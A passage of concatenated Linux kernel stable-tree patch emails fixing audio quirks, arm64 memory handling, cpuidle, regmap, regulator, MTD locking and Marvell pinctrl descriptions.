SND_PCI_QUIRK(0x1025, 0x0740, "Acer AO725", ALC271_FIXUP_HP_GATE_MIC_JACK), SND_PCI_QUIRK(0x1025, 0x0742, "Acer AO756", ALC271_FIXUP_HP_GATE_MIC_JACK), SND_PCI_QUIRK_VENDOR(0x1025, "Acer Aspire", ALC271_FIXUP_DMIC), -- cgit v1.2.3 From b56a832ec87e8018188e2b8c4066db059888e74a Mon Sep 17 00:00:00 2001 From: Takashi Iwai Date: Mon, 29 Jun 2015 08:38:02 +0200 Subject: ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780 commit 4df3fd1700abbb53bd874143dfd1f9ac9e7cbf4b upstream. Fujitsu Lifebook E780 sets the sequence number 0x0f to only only of the two headphones, thus the driver tries to assign another as the line-out, and this results in the inconsistent mapping between the created jack ctl and the actual I/O. Due to this, PulseAudio doesn't handle it properly and gets the silent output. The fix is to ignore the non-HP sequencer checks. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=99681 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/pci/hda/patch_realtek.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c index 5c7b68278638..a82d6576fe0f 100644 --- a/sound/pci/hda/patch_realtek.c +++ b/sound/pci/hda/patch_realtek.c @@ -3365,6 +3365,7 @@ enum { ALC269_FIXUP_LIFEBOOK, ALC269_FIXUP_LIFEBOOK_EXTMIC, ALC269_FIXUP_LIFEBOOK_HP_PIN, + ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT, ALC269_FIXUP_AMIC, ALC269_FIXUP_DMIC, ALC269VB_FIXUP_AMIC, @@ -3487,6 +3488,10 @@ static const struct hda_fixup alc269_fixups[] = { { } }, }, + [ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT] = { + .type = HDA_FIXUP_FUNC, + .v.func = alc269_fixup_pincfg_no_hp_to_lineout, + }, [ALC269_FIXUP_AMIC] = { .type = HDA_FIXUP_PINS, .v.pins = (const struct hda_pintbl[]) { @@ -3748,6 +3753,7 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = { SND_PCI_QUIRK(0x1025, 0x0742, "Acer AO756", ALC271_FIXUP_HP_GATE_MIC_JACK), SND_PCI_QUIRK_VENDOR(0x1025, "Acer Aspire", ALC271_FIXUP_DMIC), SND_PCI_QUIRK(0x10cf, 0x1475, "Lifebook", ALC269_FIXUP_LIFEBOOK), + SND_PCI_QUIRK(0x10cf, 0x159f, "Lifebook E780", ALC269_FIXUP_LIFEBOOK_NO_HP_TO_LINEOUT), SND_PCI_QUIRK(0x10cf, 0x15dc, "Lifebook T731", ALC269_FIXUP_LIFEBOOK_HP_PIN), SND_PCI_QUIRK(0x10cf, 0x1757, "Lifebook E752", ALC269_FIXUP_LIFEBOOK_HP_PIN), SND_PCI_QUIRK(0x10cf, 0x1845, "Lifebook U904", ALC269_FIXUP_LIFEBOOK_EXTMIC), -- cgit v1.2.3 From ea207ff62ff67ce30e1a5d19c162a2a17f4d62dc Mon Sep 17 00:00:00 2001 From: Vineet Gupta Date: Thu, 13 Nov 2014 15:54:01 +0530 Subject: ARC: add compiler barrier to LLSC based cmpxchg commit d57f727264f1425a94689bafc7e99e502cb135b5 upstream. When auditing cmpxchg call sites, Chuck noted that gcc was optimizing away some of the desired LDs. | do { | new = old = *ipi_data_ptr; | new |= 1U << msg; | } while (cmpxchg(ipi_data_ptr, old, new) != old); was generating to below | 8015cef8: ld r2,[r4,0] <-- First LD | 8015cefc: bset r1,r2,r1 | | 8015cf00: llock r3,[r4] <-- atomic op | 8015cf04: brne r3,r2,8015cf10 | 8015cf08: scond r1,[r4] | 8015cf0c: bnz 8015cf00 | | 8015cf10: brne r3,r2,8015cf00 <-- Branch doesn't go to orig LD Although this was fixed by adding a ACCESS_ONCE in this call site, it seems safer (for now at least) to add compiler barrier to LLSC based cmpxchg Reported-by: Chuck Jordan Acked-by: Peter Zijlstra (Intel) Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman --- arch/arc/include/asm/cmpxchg.h | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/arch/arc/include/asm/cmpxchg.h b/arch/arc/include/asm/cmpxchg.h index 03cd6894855d..90de5c528da2 100644 --- a/arch/arc/include/asm/cmpxchg.h +++ b/arch/arc/include/asm/cmpxchg.h @@ -25,10 +25,11 @@ __cmpxchg(volatile void *ptr, unsigned long expected, unsigned long new) " scond %3, [%1] \n" " bnz 1b \n" "2: \n" - : "=&r"(prev) - : "r"(ptr), "ir"(expected), - "r"(new) /* can't be "ir". scond can't take limm for "b" */ - : "cc"); + : "=&r"(prev) /* Early clobber, to prevent reg reuse */ + : "r"(ptr), /* Not "m": llock only supports reg direct addr mode */ + "ir"(expected), + "r"(new) /* can't be "ir". scond can't take LIMM for "b" */ + : "cc", "memory"); /* so that gcc knows memory is being written here */ return prev; } -- cgit v1.2.3 From 2b97cbc8c4e7d0f06b49695636306b65bed20cf2 Mon Sep 17 00:00:00 2001 From: Catalin Marinas Date: Fri, 12 Jun 2015 11:24:41 +0100 Subject: arm64: Do not attempt to use init_mm in reset_context() commit 565630d503ef24e44c252bed55571b3a0d68455f upstream. After secondary CPU boot or hotplug, the active_mm of the idle thread is &init_mm. The init_mm.pgd (swapper_pg_dir) is only meant for TTBR1_EL1 and must not be set in TTBR0_EL1. Since when active_mm == &init_mm the TTBR0_EL1 is already set to the reserved value, there is no need to perform any context reset. Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman --- arch/arm64/mm/context.c | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/arch/arm64/mm/context.c b/arch/arm64/mm/context.c index baa758d37021..76c1e6cd36fc 100644 --- a/arch/arm64/mm/context.c +++ b/arch/arm64/mm/context.c @@ -92,6 +92,14 @@ static void reset_context(void *info) unsigned int cpu = smp_processor_id(); struct mm_struct *mm = current->active_mm; + /* + * current->active_mm could be init_mm for the idle thread immediately + * after secondary CPU boot or hotplug. TTBR0_EL1 is already set to + * the reserved value, so no need to reset any context. + */ + if (mm == &init_mm) + return; + smp_rmb(); asid = cpu_last_asid + cpu; -- cgit v1.2.3 From 39ae2d098ad5cb37ce664d758ee9c3fc449a4940 Mon Sep 17 00:00:00 2001 From: Dave P Martin Date: Tue, 16 Jun 2015 17:38:47 +0100 Subject: arm64: mm: Fix freeing of the wrong memmap entries with !SPARSEMEM_VMEMMAP commit b9bcc919931611498e856eae9bf66337330d04cc upstream. The memmap freeing code in free_unused_memmap() computes the end of each memblock by adding the memblock size onto the base. However, if SPARSEMEM is enabled then the value (start) used for the base may already have been rounded downwards to work out which memmap entries to free after the previous memblock. This may cause memmap entries that are in use to get freed. In general, you're not likely to hit this problem unless there are at least 2 memblocks and one of them is not aligned to a sparsemem section boundary. Note that carve-outs can increase the number of memblocks by splitting the regions listed in the device tree. This problem doesn't occur with SPARSEMEM_VMEMMAP, because the vmemmap code deals with freeing the unused regions of the memmap instead of requiring the arch code to do it. This patch gets the memblock base out of the memblock directly when computing the block end address to ensure the correct value is used. Signed-off-by: Dave Martin Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman --- arch/arm64/mm/init.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c index f497ca77925a..5c5516611b5e 100644 --- a/arch/arm64/mm/init.c +++ b/arch/arm64/mm/init.c @@ -262,7 +262,7 @@ static void __init free_unused_memmap(void) * memmap entries are valid from the bank end aligned to * MAX_ORDER_NR_PAGES. */ - prev_end = ALIGN(start + __phys_to_pfn(reg->size), + prev_end = ALIGN(__phys_to_pfn(reg->base + reg->size), MAX_ORDER_NR_PAGES); } -- cgit v1.2.3 From 6ec153c599f17f93afb650b42922379735196602 Mon Sep 17 00:00:00 2001 From: Will Deacon Date: Fri, 19 Jun 2015 13:56:33 +0100 Subject: arm64: vdso: work-around broken ELF toolchains in Makefile commit 6f1a6ae87c0c60d7c462ef8fd071f291aa7a9abb upstream. When building the kernel with a bare-metal (ELF) toolchain, the -shared option may not be passed down to collect2, resulting in silent corruption of the vDSO image (in particular, the DYNAMIC section is omitted). The effect of this corruption is that the dynamic linker fails to find the vDSO symbols and libc is instead used for the syscalls that we intended to optimise (e.g. gettimeofday). Functionally, there is no issue as the sigreturn trampoline is still intact and located by the kernel. This patch fixes the problem by explicitly passing -shared to the linker when building the vDSO. Reported-by: Szabolcs Nagy Reported-by: James Greenlaigh Signed-off-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman --- arch/arm64/kernel/vdso/Makefile | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/arch/arm64/kernel/vdso/Makefile b/arch/arm64/kernel/vdso/Makefile index 6d20b7d162d8..fdda6dd71ac6 100644 --- a/arch/arm64/kernel/vdso/Makefile +++ b/arch/arm64/kernel/vdso/Makefile @@ -15,6 +15,10 @@ ccflags-y := -shared -fno-common -fno-builtin ccflags-y += -nostdlib -Wl,-soname=linux-vdso.so.1 \ $(call cc-ldoption, -Wl$(comma)--hash-style=sysv) +# Workaround for bare-metal (ELF) toolchains that neglect to pass -shared +# down to collect2, resulting in silent corruption of the vDSO image. +ccflags-y += -Wl,-shared + obj-y += vdso.o extra-y += vdso.lds vdso-offsets.h CPPFLAGS_vdso.lds += -P -C -U$(ARCH) -- cgit v1.2.3 From c24d75b7294314d9a07af26a8d062185b9314bea Mon Sep 17 00:00:00 2001 From: "Rafael J. Wysocki" Date: Thu, 1 May 2014 00:14:04 +0200 Subject: cpuidle / menu: Return (-1) if there are no suitable states commit 3836785a1bdcd6706c68ad46bf53adc0b057b310 upstream. If there is a PM QoS latency limit and all of the sufficiently shallow C-states are disabled, the cpuidle menu governor returns 0 which on some systems is CPUIDLE_DRIVER_STATE_START and shouldn't be returned if that C-state has been disabled. Fix the issue by modifying the menu governor to return (-1) in such situations. Signed-off-by: Rafael J. Wysocki [shilpab: Backport to 3.10.y - adjust context - add a check if 'next_state' is less than 0 in 'cpuidle_idle_call()', this ensures that we exit 'cpuidle_idle_call()' if governor->select() returns negative value] Signed-off-by: Shilpasri G Bhat Signed-off-by: Greg Kroah-Hartman --- drivers/cpuidle/cpuidle.c | 3 +++ drivers/cpuidle/governors/menu.c | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/drivers/cpuidle/cpuidle.c b/drivers/cpuidle/cpuidle.c index c3a93fece819..5b11022d7745 100644 --- a/drivers/cpuidle/cpuidle.c +++ b/drivers/cpuidle/cpuidle.c @@ -135,6 +135,9 @@ int cpuidle_idle_call(void) /* ask the governor for the next state */ next_state = cpuidle_curr_governor->select(drv, dev); + if (next_state < 0) + return -EBUSY; + if (need_resched()) { dev->last_residency = 0; /* give the governor an opportunity to reflect on the outcome */ diff --git a/drivers/cpuidle/governors/menu.c b/drivers/cpuidle/governors/menu.c index bc580b67a652..67fd901f6fc9 100644 --- a/drivers/cpuidle/governors/menu.c +++ b/drivers/cpuidle/governors/menu.c @@ -269,7 +269,7 @@ static int menu_select(struct cpuidle_driver *drv, struct cpuidle_device *dev) data->needs_update = 0; } - data->last_state_idx = 0; + data->last_state_idx = CPUIDLE_DRIVER_STATE_START - 1; data->exit_us = 0; /* Special case when user has set very strict latency requirement */ -- cgit v1.2.3 From c9f4682139e837bb46eb0e19a0a728c573cc2ab4 Mon Sep 17 00:00:00 2001 From: Arun Chandran Date: Mon, 15 Jun 2015 15:59:02 +0530 Subject: regmap: Fix regmap_bulk_read in BE mode commit 15b8d2c41fe5839582029f65c5f7004db451cc2b upstream. In big endian mode regmap_bulk_read gives incorrect data for byte reads. This is because memcpy of a single byte from an address after full word read gives different results when endianness differs. ie. we get little-end in LE and big-end in BE. Signed-off-by: Arun Chandran Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- drivers/base/regmap/regmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/base/regmap/regmap.c b/drivers/base/regmap/regmap.c index 6a66f0b7d3d4..4f3d70a9d721 100644 --- a/drivers/base/regmap/regmap.c +++ b/drivers/base/regmap/regmap.c @@ -1586,7 +1586,7 @@ int regmap_bulk_read(struct regmap *map, unsigned int reg, void *val, &ival); if (ret != 0) return ret; - memcpy(val + (i * val_bytes), &ival, val_bytes); + map->format.format_val(val + (i * val_bytes), ival, 0); } } -- cgit v1.2.3 From bd5bf922932d344cc602998a6abae4492fed82cd Mon Sep 17 00:00:00 2001 From: Stefan Wahren Date: Tue, 9 Jun 2015 20:09:42 +0000 Subject: regulator: core: fix constraints output buffer commit a7068e3932eee8268c4ce4e080a338ee7b8a27bf upstream. The buffer for condtraints debug isn't big enough to hold the output in all cases. So fix this issue by increasing the buffer. Signed-off-by: Stefan Wahren Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- drivers/regulator/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/regulator/core.c b/drivers/regulator/core.c index 283212aa103c..70ccc2010054 100644 --- a/drivers/regulator/core.c +++ b/drivers/regulator/core.c @@ -769,7 +769,7 @@ static int suspend_prepare(struct regulator_dev *rdev, suspend_state_t state) static void print_constraints(struct regulator_dev *rdev) { struct regulation_constraints *constraints = rdev->constraints; - char buf[80] = ""; + char buf[160] = ""; int count = 0; int ret; -- cgit v1.2.3 From 84df71dfcb03bc019268fc0220e281050c2ebee4 Mon Sep 17 00:00:00 2001 From: Ezequiel Garcia Date: Mon, 11 May 2015 12:20:18 -0300 Subject: spi: pl022: Specify 'num-cs' property as required in devicetree binding commit ea6055c46eda1e19e02209814955e13f334bbe1b upstream. Since commit 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data") the 'num-cs' parameter cannot be passed through platform data when probing with devicetree. Instead, it's a required devicetree property. Fix the binding documentation so the property is properly specified. Fixes: 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data") Signed-off-by: Ezequiel Garcia Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman --- Documentation/devicetree/bindings/spi/spi_pl022.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Documentation/devicetree/bindings/spi/spi_pl022.txt b/Documentation/devicetree/bindings/spi/spi_pl022.txt index 22ed6797216d..4d1673ca8cf8 100644 --- a/Documentation/devicetree/bindings/spi/spi_pl022.txt +++ b/Documentation/devicetree/bindings/spi/spi_pl022.txt @@ -4,9 +4,9 @@ Required properties: - compatible : "arm,pl022", "arm,primecell" - reg : Offset and length of the register set for the device - interrupts : Should contain SPI controller interrupt +- num-cs : total number of chipselects Optional properties: -- num-cs : total number of chipselects - cs-gpios : should specify GPIOs used for chipselects. The gpios will be referred to as reg = in the SPI child nodes. If unspecified, a single SPI device without a chip select can be used. -- cgit v1.2.3 From a3253d76fca662b74ea51ce2643299fb05d9e71b Mon Sep 17 00:00:00 2001 From: Brian Norris Date: Thu, 7 May 2015 17:55:16 -0700 Subject: mtd: fix: avoid race condition when accessing mtd->usecount commit 073db4a51ee43ccb827f54a4261c0583b028d5ab upstream. On A MIPS 32-cores machine a BUG_ON was triggered because some acesses to mtd->usecount were done without taking mtd_table_mutex. kernel: Call Trace: kernel: [] __put_mtd_device+0x20/0x50 kernel: [] blktrans_release+0x8c/0xd8 kernel: [] __blkdev_put+0x1a8/0x200 kernel: [] blkdev_close+0x1c/0x30 kernel: [] __fput+0xac/0x250 kernel: [] task_work_run+0xd8/0x120 kernel: [] work_notifysig+0x10/0x18 kernel: kernel: Code: 2442ffff ac8202d8 000217fe <00020336> dc820128 10400003 00000000 0040f809 00000000 kernel: ---[ end trace 080fbb4579b47a73 ]--- Fixed by taking the mutex in blktrans_open and blktrans_release. Note that this locking is already suggested in include/linux/mtd/blktrans.h: struct mtd_blktrans_ops { ... /* Called with mtd_table_mutex held; no race with add/remove */ int (*open)(struct mtd_blktrans_dev *dev); void (*release)(struct mtd_blktrans_dev *dev); ... }; But we weren't following it. Originally reported by (and patched by) Zhang and Giuseppe, independently. Improved and rewritten. Reported-by: Zhang Xingcai Reported-by: Giuseppe Cantavenera Tested-by: Giuseppe Cantavenera Acked-by: Alexander Sverdlin Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman --- drivers/mtd/mtd_blkdevs.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drivers/mtd/mtd_blkdevs.c b/drivers/mtd/mtd_blkdevs.c index 5073cbc796d8..32d5e40c6863 100644 --- a/drivers/mtd/mtd_blkdevs.c +++ b/drivers/mtd/mtd_blkdevs.c @@ -199,6 +199,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode) return -ERESTARTSYS; /* FIXME: busy loop! -arnd*/ mutex_lock(&dev->lock); + mutex_lock(&mtd_table_mutex); if (dev->open) goto unlock; @@ -222,6 +223,7 @@ static int blktrans_open(struct block_device *bdev, fmode_t mode) unlock: dev->open++; + mutex_unlock(&mtd_table_mutex); mutex_unlock(&dev->lock); blktrans_dev_put(dev); return ret; @@ -232,6 +234,7 @@ error_release: error_put: module_put(dev->tr->owner); kref_put(&dev->ref, blktrans_dev_release); + mutex_unlock(&mtd_table_mutex); mutex_unlock(&dev->lock); blktrans_dev_put(dev); return ret; @@ -245,6 +248,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode) return; mutex_lock(&dev->lock); + mutex_lock(&mtd_table_mutex); if (--dev->open) goto unlock; @@ -258,6 +262,7 @@ static void blktrans_release(struct gendisk *disk, fmode_t mode) __put_mtd_device(dev->mtd); } unlock: + mutex_unlock(&mtd_table_mutex); mutex_unlock(&dev->lock); blktrans_dev_put(dev); } -- cgit v1.2.3 From 7f9e2ccd7f142ca51219fdbeb3cb04b9f665966c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Uwe=20Kleine-K=C3=B6nig?= Date: Thu, 28 May 2015 10:22:10 +0200 Subject: mtd: dc21285: use raw spinlock functions for nw_gpio_lock MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit e5babdf928e5d0c432a8d4b99f20421ce14d1ab6 upstream. Since commit bd31b85960a7 (which is in 3.2-rc1) nw_gpio_lock is a raw spinlock that needs usage of the corresponding raw functions. This fixes: drivers/mtd/maps/dc21285.c: In function 'nw_en_write': drivers/mtd/maps/dc21285.c:41:340: warning: passing argument 1 of 'spinlock_check' from incompatible pointer type spin_lock_irqsave(&nw_gpio_lock, flags); In file included from include/linux/seqlock.h:35:0, from include/linux/time.h:5, from include/linux/stat.h:18, from include/linux/module.h:10, from drivers/mtd/maps/dc21285.c:8: include/linux/spinlock.h:299:102: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *' static inline raw_spinlock_t *spinlock_check(spinlock_t *lock) ^ drivers/mtd/maps/dc21285.c:43:25: warning: passing argument 1 of 'spin_unlock_irqrestore' from incompatible pointer type spin_unlock_irqrestore(&nw_gpio_lock, flags); ^ In file included from include/linux/seqlock.h:35:0, from include/linux/time.h:5, from include/linux/stat.h:18, from include/linux/module.h:10, from drivers/mtd/maps/dc21285.c:8: include/linux/spinlock.h:370:91: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *' static inline void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) Fixes: bd31b85960a7 ("locking, ARM: Annotate low level hw locks as raw") Signed-off-by: Uwe Kleine-König Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman --- drivers/mtd/maps/dc21285.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drivers/mtd/maps/dc21285.c b/drivers/mtd/maps/dc21285.c index f8a7dd14cee0..70a3db3ab856 100644 --- a/drivers/mtd/maps/dc21285.c +++ b/drivers/mtd/maps/dc21285.c @@ -38,9 +38,9 @@ static void nw_en_write(void) * we want to write a bit pattern XXX1 to Xilinx to enable * the write gate, which will be open for about the next 2ms. */ - spin_lock_irqsave(&nw_gpio_lock, flags); + raw_spin_lock_irqsave(&nw_gpio_lock, flags); nw_cpld_modify(CPLD_FLASH_WR_ENABLE, CPLD_FLASH_WR_ENABLE); - spin_unlock_irqrestore(&nw_gpio_lock, flags); + raw_spin_unlock_irqrestore(&nw_gpio_lock, flags); /* * let the ISA bus to catch on... -- cgit v1.2.3 From eef15dcc8010b6bde54f8b20ff876581e0fd2760 Mon Sep 17 00:00:00 2001 From: Thomas Petazzoni Date: Tue, 9 Jun 2015 18:46:54 +0200 Subject: pinctrl: mvebu: armada-370: fix spi0 pin description commit 438881dfddb9107ef0eb30b49368e91e092f0b3e upstream. Due to a mistake, the CS0 and CS1 SPI0 functions were incorrectly named "spi0-1" instead of just "spi0". This commit fixes that. This DT binding change does not affect any of the in-tree users. Signed-off-by: Thomas Petazzoni Fixes: 5f597bb2be57 ("pinctrl: mvebu: add pinctrl driver for Armada 370") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman --- .../devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt | 4 ++-- drivers/pinctrl/mvebu/pinctrl-armada-370.c | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt b/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt index 01ef408e205f..8faff12e7014 100644 --- a/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt +++ b/Documentation/devicetree/bindings/pinctrl/marvell,armada-370-pinctrl.txt @@ -91,5 +91,5 @@ mpp61 61 gpo, dev(wen1), uart1(txd), audio(rclk) mpp62 62 gpio, dev(a2), uart1(cts), tdm(drx), pcie(clkreq0), audio(mclk), uart0(cts) mpp63 63 gpo, spi0(sck), tclk -mpp64 64 gpio, spi0(miso), spi0-1(cs1) -mpp65 65 gpio, spi0(mosi), spi0-1(cs2) +mpp64 64 gpio, spi0(miso), spi0(cs1) +mpp65 65 gpio, spi0(mosi), spi0(cs2) diff --git a/drivers/pinctrl/mvebu/pinctrl-armada-370.c b/drivers/pinctrl/mvebu/pinctrl-armada-370.c index 48e21a229483..c99e64ac8e08 100644 --- a/drivers/pinctrl/mvebu/pinctrl-armada-370.c +++ b/drivers/pinctrl/mvebu/pinctrl-armada-370.c @@ -358,11 +358,11 @@ static struct mvebu_mpp_mode mv88f6710_mpp_modes[] = { MPP_MODE(64, MPP_FUNCTION(0x0, "gpio", NULL), MPP_FUNCTION(0x1, "spi0", "miso"), - MPP_FUNCTION(0x2, "spi0-1", "cs1")), + MPP_FUNCTION(0x2, "spi0", "cs1")), MPP_MODE(65, MPP_FUNCTION(0x0, "gpio", NULL), MPP_FUNCTION(0x1, "spi0", "mosi"), - MPP_FUNCTION(0x2, "spi0-1", "cs2")), + MPP_FUNCTION(0x2, "spi0", "cs2")), }; static struct mvebu_pinctrl_soc_info armada_370_pinctrl_info; -- cgit v1.2.3 From 74806d71a4449dd8e6dedc921b979108da34fa8b Mon Sep 17 00:00:00 2001 From: Thomas Petazzoni Date: Tue, 9 Jun 2015 18:46:56 +0200 Subject: pinctrl: mvebu: armada-xp: remove non-existing NAND pins commit bc99357f3690c11817756adfee0ece811a3db2e7 upstream. After updating to a more recent version of the Armada XP datasheet, we realized that some of the pins documented as having a NAND-related functionality in fact did not have such functionality. This commit updates the pinctrl driver accordingly. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman --- .../devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt | 4 ++-- drivers/pinctrl/mvebu/pinctrl-armada-xp.c | 2 -- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt index bfa0a2e5e0cb..797b3d5e2e58 100644 --- a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt +++ b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt @@ -41,8 +41,8 @@ mpp20 20 gpio, ge0(rxd4), ge1(rxd2), lcd(d20), ptp(clk) mpp21 21 gpio, ge0(rxd5), ge1(rxd3), lcd(d21), mem(bat) mpp22 22 gpio, ge0(rxd6), ge1(rxctl), lcd(d22), sata0(prsnt) mpp23 23 gpio, ge0(rxd7), ge1(rxclk), lcd(d23), sata1(prsnt) -mpp24 24 gpio, lcd(hsync), sata1(prsnt), nf(bootcs-re), tdm(rst) -mpp25 25 gpio, lcd(vsync), sata0(prsnt), nf(bootcs-we), tdm(pclk) +mpp24 24 gpio, lcd(hsync), sata1(prsnt), tdm(rst) +mpp25 25 gpio, lcd(vsync), sata0(prsnt), tdm(pclk) mpp26 26 gpio, lcd(clk), tdm(fsync), vdd(cpu1-pd) mpp27 27 gpio, lcd(e), tdm(dtx), ptp(trig) mpp28 28 gpio, lcd(pwm), tdm(drx), ptp(evreq) diff --git a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c index ab5dc04b3e8a..c5a01aea52b8 100644 --- a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c +++ b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c @@ -159,13 +159,11 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_MODE(24, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sata1", "prsnt", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x2, "nf", "bootcs-re", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "rst", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x4, "lcd", "hsync", V_MV78230_PLUS)), MPP_MODE(25, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sata0", "prsnt", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x2, "nf", "bootcs-we", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "pclk", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x4, "lcd", "vsync", V_MV78230_PLUS)), MPP_MODE(26, -- cgit v1.2.3 From d150690472aed58d3208c8a46356c09bff6ca064 Mon Sep 17 00:00:00 2001 From: Thomas Petazzoni Date: Tue, 9 Jun 2015 18:46:57 +0200 Subject: pinctrl: mvebu: armada-xp: remove non-existing VDD cpu_pd functions commit 80b3d04feab5e69d51cb2375eb989a7165e43e3b upstream. The latest version of the Armada XP datasheet no longer documents the VDD cpu_pd functions, which might indicate they are not working and/or not supported. This commit ensures the pinctrl driver matches the datasheet. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman --- .../bindings/pinctrl/marvell,armada-xp-pinctrl.txt | 26 +++++++---------- drivers/pinctrl/mvebu/pinctrl-armada-xp.c | 33 +++++++--------------- 2 files changed, 20 insertions(+), 39 deletions(-) diff --git a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt index 797b3d5e2e58..0ba220bdb17f 100644 --- a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt +++ b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt @@ -43,13 +43,13 @@ mpp22 22 gpio, ge0(rxd6), ge1(rxctl), lcd(d22), sata0(prsnt) mpp23 23 gpio, ge0(rxd7), ge1(rxclk), lcd(d23), sata1(prsnt) mpp24 24 gpio, lcd(hsync), sata1(prsnt), tdm(rst) mpp25 25 gpio, lcd(vsync), sata0(prsnt), tdm(pclk) -mpp26 26 gpio, lcd(clk), tdm(fsync), vdd(cpu1-pd) +mpp26 26 gpio, lcd(clk), tdm(fsync) mpp27 27 gpio, lcd(e), tdm(dtx), ptp(trig) mpp28 28 gpio, lcd(pwm), tdm(drx), ptp(evreq) -mpp29 29 gpio, lcd(ref-clk), tdm(int0), ptp(clk), vdd(cpu0-pd) +mpp29 29 gpio, lcd(ref-clk), tdm(int0), ptp(clk) mpp30 30 gpio, tdm(int1), sd0(clk) -mpp31 31 gpio, tdm(int2), sd0(cmd), vdd(cpu0-pd) -mpp32 32 gpio, tdm(int3), sd0(d0), vdd(cpu1-pd) +mpp31 31 gpio, tdm(int2), sd0(cmd) +mpp32 32 gpio, tdm(int3), sd0(d0) mpp33 33 gpio, tdm(int4), sd0(d1), mem(bat) mpp34 34 gpio, tdm(int5), sd0(d2), sata0(prsnt) mpp35 35 gpio, tdm(int6), sd0(d3), sata1(prsnt) @@ -57,14 +57,11 @@ mpp36 36 gpio, spi(mosi) mpp37 37 gpio, spi(miso) mpp38 38 gpio, spi(sck) mpp39 39 gpio, spi(cs0) -mpp40 40 gpio, spi(cs1), uart2(cts), lcd(vga-hsync), vdd(cpu1-pd), - pcie(clkreq0) +mpp40 40 gpio, spi(cs1), uart2(cts), lcd(vga-hsync), pcie(clkreq0) mpp41 41 gpio, spi(cs2), uart2(rts), lcd(vga-vsync), sata1(prsnt), pcie(clkreq1) -mpp42 42 gpio, uart2(rxd), uart0(cts), tdm(int7), tdm-1(timer), - vdd(cpu0-pd) -mpp43 43 gpio, uart2(txd), uart0(rts), spi(cs3), pcie(rstout), - vdd(cpu2-3-pd){1} +mpp42 42 gpio, uart2(rxd), uart0(cts), 